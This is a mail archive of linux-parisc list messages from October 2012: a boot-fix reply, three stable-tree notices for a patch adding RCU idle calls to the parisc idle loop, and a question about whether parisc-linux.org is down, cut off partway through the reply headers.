X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4616
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4616>

On Tue, Oct 09, 2012 at 10:55:21AM +0100, James Bottomley wrote:
> On Mon, 2012-10-08 at 12:28 +0100, James Bottomley wrote:
> > Even with the patch applied, it's hanging on boot around the first
> > kthread spawns.  I'm investigating.
> 
> Actually an obvious fix: you can't set up ksp and then zero the
> registers.
> 
> I note that the stack frame you're creating is too big since
> THREAD_SZ_ALGN includes space for a stack frame by design so adding
> another one is redundant.  However, this confusion seems to permeate the
> syscall code as well, so perhaps fixing it up later is better.
> 
> With this patch applied, I can now boot up successfully to a login
> prompt.

Thanks.  Folded and pushed with the rebase - it's in experimental-kernel_thread
pushed right now.  Should propagate to git.kernel.org shortly...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Patch "parisc: Add missing RCU idle APIs on idle loop" has been added to the 3.6-stable tree
Date: Wed, 10 Oct 2012 09:24:48 +0900
Lines: 95
Approved: news@gmane.org
Message-ID: <13498286884028@kroah.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1349849366 6745 80.91.229.3 (10 Oct 2012 06:09:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2012 06:09:26 +0000 (UTC)
Cc: <stable@vger.kernel.org>, <stable-commits@vger.kernel.org>
To: fweisbec@gmail.com, deller@gmx.de, gregkh@linuxfoundation.org,
	jejb@parisc-linux.org, josh@joshtriplett.org,
	linux-parisc@vger.kernel.org, paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 10 08:09:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TLpU3-0005p3-B0
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Oct 2012 08:09:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753234Ab2JJGJZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 02:09:25 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:54177 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753615Ab2JJGJY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 02:09:24 -0400
Original-Received: by mail-pb0-f46.google.com with SMTP id rr4so357923pbb.19
        for <linux-parisc@vger.kernel.org>; Tue, 09 Oct 2012 23:09:23 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:cc:from:date:message-id:mime-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=URVIi9XC4b5nAj/Y4m8l/tt+pvmNou4N90pJYeDAUjU=;
        b=HIDfM7Km8O6TTncEyFmQUK/uBiOXSGrcNSh+1J/nWgTOgbj//9mT1rapSVHAP3l9yB
         4xJHrImyXp1EPhi8p+7qgSfnCe2DdWn/4EixicFjZ6ElZvcjcDmpW91qWVzlwBzX6kYj
         FY20IAgOS7TnnmQ1Dl2aj/HTGsigg2Oi4Hx//StIiNs83nh7k1FJ6H7Gnr+bJ8hUEF7N
         X0YP8DHkrxQZAyUFIS3lBz+7Xm4FjFROcAnj1a/I1+KEoTbpASts/oIAnsxVpyiLHFl3
         KmhiAXzGIY+9n5jHXf/MUOmQlYogsLk7z3A9RbWtAlG/3rovOV+Ry0AznY9O+yzAg3Pq
         oiAA==
Original-Received: by 10.66.73.226 with SMTP id o2mr59336592pav.83.1349849363700;
        Tue, 09 Oct 2012 23:09:23 -0700 (PDT)
Original-Received: from localhost (i118-21-136-4.s30.a048.ap.plala.or.jp. [118.21.136.4])
        by mx.google.com with ESMTPS id j8sm332821paz.30.2012.10.09.23.09.19
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 09 Oct 2012 23:09:22 -0700 (PDT)
X-Gm-Message-State: ALoCoQnF7vp/9Xcx9rBFmlv9c88veuQ6/UepVoR9cgc80MpvXkhCoBbTr6W/TemTTIHxY+QCuNBJ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4617 gmane.linux.kernel.stable:32752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4617>


This is a note to let you know that I've just added the patch titled

    parisc: Add missing RCU idle APIs on idle loop

to the 3.6-stable tree which can be found at:
    http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary

The filename of the patch is:
     parisc-add-missing-rcu-idle-apis-on-idle-loop.patch
and it can be found in the queue-3.6 subdirectory.

If you, or anyone else, feels it should not be added to the stable tree,
please let <stable@vger.kernel.org> know about it.


>From fbe752188d5589e7fcbb8e79824e560f77dccc92 Mon Sep 17 00:00:00 2001
From: Frederic Weisbecker <fweisbec@gmail.com>
Date: Wed, 22 Aug 2012 17:27:34 +0200
Subject: parisc: Add missing RCU idle APIs on idle loop

From: Frederic Weisbecker <fweisbec@gmail.com>

commit fbe752188d5589e7fcbb8e79824e560f77dccc92 upstream.

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/kernel/process.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}


Patches currently in stable-queue which might be from fweisbec@gmail.com are

queue-3.6/frv-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/cris-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/m68k-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/alpha-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/h8300-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/parisc-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/m32r-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/score-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/mn10300-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.6/xtensa-add-missing-rcu-idle-apis-on-idle-loop.patch
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Patch "parisc: Add missing RCU idle APIs on idle loop" has been added to the 3.4-stable tree
Date: Wed, 10 Oct 2012 09:25:05 +0900
Lines: 95
Approved: news@gmane.org
Message-ID: <13498287052440@kroah.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1349849443 7276 80.91.229.3 (10 Oct 2012 06:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2012 06:10:43 +0000 (UTC)
Cc: <stable@vger.kernel.org>, <stable-commits@vger.kernel.org>
To: fweisbec@gmail.com, deller@gmx.de, gregkh@linuxfoundation.org,
	jejb@parisc-linux.org, josh@joshtriplett.org,
	linux-parisc@vger.kernel.org, paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 10 08:10:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TLpVF-0006o5-3a
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Oct 2012 08:10:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754563Ab2JJGKj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 02:10:39 -0400
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]:61044 "EHLO
	mail-pa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753128Ab2JJGKi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 02:10:38 -0400
Original-Received: by mail-pa0-f46.google.com with SMTP id hz1so248769pad.19
        for <linux-parisc@vger.kernel.org>; Tue, 09 Oct 2012 23:10:38 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:cc:from:date:message-id:mime-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=kvA/FCf+tMme7QSGzsmWNfsyNH8SrcJsTjsvXmls8MI=;
        b=lQGDDbQsgEvahVNHC+HhihLHpXHEMjbQ30v3bfN83WQPdWTaHA3PUxrRFBiw+I38Ym
         cKUV2f29cyeWYFGcXgoYZPKsFUMflzsh+oRmz5s/9Ptnt4ukBVqyb2s/W85/RmO7Mrs3
         5b+ZqNV+hiV/q3fHAq34g8+eT0mYTbNI5k3x05a3igk5J/YZNvqRXa5RlelJmMCbbC0a
         tjX6JGlNbGiz6Ie2tRQyp3VlGJX9KsWNee+HWwF8BaB70QEKUypvt9+eV4Og1SJi02Tg
         lv+eLJcZ0eygUgKCJ+stKI1tGlFBKwm/JG4roc+Ca4qRGkK7wpLX9M6LqZdQB9YD9TXd
         upxg==
Original-Received: by 10.68.222.37 with SMTP id qj5mr69983090pbc.132.1349849437541;
        Tue, 09 Oct 2012 23:10:37 -0700 (PDT)
Original-Received: from localhost (i118-21-136-4.s30.a048.ap.plala.or.jp. [118.21.136.4])
        by mx.google.com with ESMTPS id qb2sm521541pbb.15.2012.10.09.23.10.33
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 09 Oct 2012 23:10:36 -0700 (PDT)
X-Gm-Message-State: ALoCoQm3D/xD0H/GTcQ6wBSdh3z1gedgea4stxuX6qytNuLhoA5uUXoUaGfzQglELxPlW+bh5obl
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4618 gmane.linux.kernel.stable:32755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4618>


This is a note to let you know that I've just added the patch titled

    parisc: Add missing RCU idle APIs on idle loop

to the 3.4-stable tree which can be found at:
    http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary

The filename of the patch is:
     parisc-add-missing-rcu-idle-apis-on-idle-loop.patch
and it can be found in the queue-3.4 subdirectory.

If you, or anyone else, feels it should not be added to the stable tree,
please let <stable@vger.kernel.org> know about it.


>From fbe752188d5589e7fcbb8e79824e560f77dccc92 Mon Sep 17 00:00:00 2001
From: Frederic Weisbecker <fweisbec@gmail.com>
Date: Wed, 22 Aug 2012 17:27:34 +0200
Subject: parisc: Add missing RCU idle APIs on idle loop

From: Frederic Weisbecker <fweisbec@gmail.com>

commit fbe752188d5589e7fcbb8e79824e560f77dccc92 upstream.

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/kernel/process.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}


Patches currently in stable-queue which might be from fweisbec@gmail.com are

queue-3.4/frv-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/cris-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/m68k-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/alpha-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/h8300-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/parisc-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/m32r-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/score-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/mn10300-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.4/xtensa-add-missing-rcu-idle-apis-on-idle-loop.patch
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Patch "parisc: Add missing RCU idle APIs on idle loop" has been added to the 3.5-stable tree
Date: Wed, 10 Oct 2012 09:25:18 +0900
Lines: 95
Approved: news@gmane.org
Message-ID: <13498287181261@kroah.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1349849532 7977 80.91.229.3 (10 Oct 2012 06:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2012 06:12:12 +0000 (UTC)
Cc: <stable@vger.kernel.org>, <stable-commits@vger.kernel.org>
To: fweisbec@gmail.com, deller@gmx.de, gregkh@linuxfoundation.org,
	jejb@parisc-linux.org, josh@joshtriplett.org,
	linux-parisc@vger.kernel.org, paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 10 08:12:17 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TLpWj-0006o5-A0
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Oct 2012 08:12:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754783Ab2JJGMK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 02:12:10 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:49750 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752386Ab2JJGMJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 02:12:09 -0400
Original-Received: by mail-pb0-f46.google.com with SMTP id rr4so358018pbb.19
        for <linux-parisc@vger.kernel.org>; Tue, 09 Oct 2012 23:12:09 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:cc:from:date:message-id:mime-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=3knj0Cd7hi61QGBuC0BPQ6e/j6MI1+h5ZBIajKIzH70=;
        b=cQthx9a9y51HiwCJ6SCAKjhs3qJEMVkodPQuJhVup8Ahlh4zhoM6WfU3es3PWWm4uM
         WuGUYTIUfiaNVdDwT+7yqwyy342ml7YRbj6rvShW0PEZp5879SCf58xcPcnp1z6Jlbl6
         SiH1Isz5jO+OfhBNOVt2ln6shlBpIuEphAVLu+gOheU1zu/QPH9t5Ph+5VeIEWG1mZQz
         S56oefq4RzCqMtAgvpGtUTMBktvAPulkXwNrP7G9JkB6PNmzzRpeYmVhu5cLsLHMvCVP
         Hh2fSAph/OBUunZpUZ2mwuXvy0OjM5HBiy68LQBlQXegbXbq/x7CXDGlDC7z5iHo31L5
         JwQw==
Original-Received: by 10.68.131.40 with SMTP id oj8mr37796352pbb.40.1349849529226;
        Tue, 09 Oct 2012 23:12:09 -0700 (PDT)
Original-Received: from localhost (i118-21-136-4.s30.a048.ap.plala.or.jp. [118.21.136.4])
        by mx.google.com with ESMTPS id ih2sm513509pbc.65.2012.10.09.23.12.05
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 09 Oct 2012 23:12:08 -0700 (PDT)
X-Gm-Message-State: ALoCoQmioJH/rzyb8pc+2tcV7DEzLfun/qkPSqtsN3JlDdAs2qxTJnI1ZUXrBVcpBZ4ehuqXnXPr
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4619 gmane.linux.kernel.stable:32758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4619>


This is a note to let you know that I've just added the patch titled

    parisc: Add missing RCU idle APIs on idle loop

to the 3.5-stable tree which can be found at:
    http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary

The filename of the patch is:
     parisc-add-missing-rcu-idle-apis-on-idle-loop.patch
and it can be found in the queue-3.5 subdirectory.

If you, or anyone else, feels it should not be added to the stable tree,
please let <stable@vger.kernel.org> know about it.


>From fbe752188d5589e7fcbb8e79824e560f77dccc92 Mon Sep 17 00:00:00 2001
From: Frederic Weisbecker <fweisbec@gmail.com>
Date: Wed, 22 Aug 2012 17:27:34 +0200
Subject: parisc: Add missing RCU idle APIs on idle loop

From: Frederic Weisbecker <fweisbec@gmail.com>

commit fbe752188d5589e7fcbb8e79824e560f77dccc92 upstream.

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/kernel/process.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}


Patches currently in stable-queue which might be from fweisbec@gmail.com are

queue-3.5/frv-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/cris-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/m68k-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/alpha-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/h8300-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/parisc-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/m32r-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/score-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/mn10300-add-missing-rcu-idle-apis-on-idle-loop.patch
queue-3.5/xtensa-add-missing-rcu-idle-apis-on-idle-loop.patch
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc-linux.org down?
Date: Wed, 10 Oct 2012 16:14:35 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1349900080 14836 80.91.229.3 (10 Oct 2012 20:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2012 20:14:40 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 10 22:14:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM2fz-0000h0-LD
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Oct 2012 22:14:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754962Ab2JJUOh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 16:14:37 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:59585 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751733Ab2JJUOg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 16:14:36 -0400
Original-Received: by mail-ie0-f174.google.com with SMTP id k13so1681562iea.19
        for <linux-parisc@vger.kernel.org>; Wed, 10 Oct 2012 13:14:36 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:date:message-id:subject:from:to
         :content-type:x-gm-message-state;
        bh=HUB/qj1INIOD9Y0j/DI12F9HBLl3vlsXWqLLaDt4aMg=;
        b=GkV5tYTEl64lj4nZKN/QyNHAnkr+2HkdVO/eCDW3c1OXyg9EUUB53REA3c7pp/rei7
         DtmrDfAguF3Bnv6f+0JQUdkcORMN7T9A4tvhR9WWUl3mdc5Cdmsa7S7cxZXU9SBiuDy6
         dSol/RjdneBMRZ0RXnuHYMq4tTvdF8oIqz4NRQmv4vH1+7YN5y7wRPiQfX0Q9E2/tz+l
         0g060wNANkHPAbZy5HaVbE9NDOl9JdV0mwp7pyfBsmVYJQWnctoM+ivNTt0GVD6kToP+
         +6hMET2A3qCtHELWhbYjQVglY1ea8Gz+vC8ed2/Q5S6yrR0NVXfIaV1RtH3xcIF1V4PC
         mkkA==
Original-Received: by 10.50.181.202 with SMTP id dy10mr6667358igc.14.1349900075904;
 Wed, 10 Oct 2012 13:14:35 -0700 (PDT)
Original-Received: by 10.42.148.67 with HTTP; Wed, 10 Oct 2012 13:14:35 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
X-Gm-Message-State: ALoCoQkwQKG0TuYk903OSYXY7SNzsEfNKUn/4ThruRc1fMknhlThR3767awCR3RleHzxlhtYvGO6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4620>

Community,

Is www.parisc-linux.org down for anyone else?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Wed, 10 Oct 2012 17:31:18 -0400
Organization: wh0rd.org
Lines: 39
Approved: news@gmane.org
Message-ID: <201210101731.19730.vapier@gentoo.org>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart3565976.4M2Ua5BESX";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349904682 23137 80.91.229.3 (10 Oct 2012 21:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2012 21:31:22 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 10 23:31:28 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM3sE-0001Ne-EX
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Oct 2012 23:31:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756190Ab2JJVbT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 17:31:19 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:51049 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
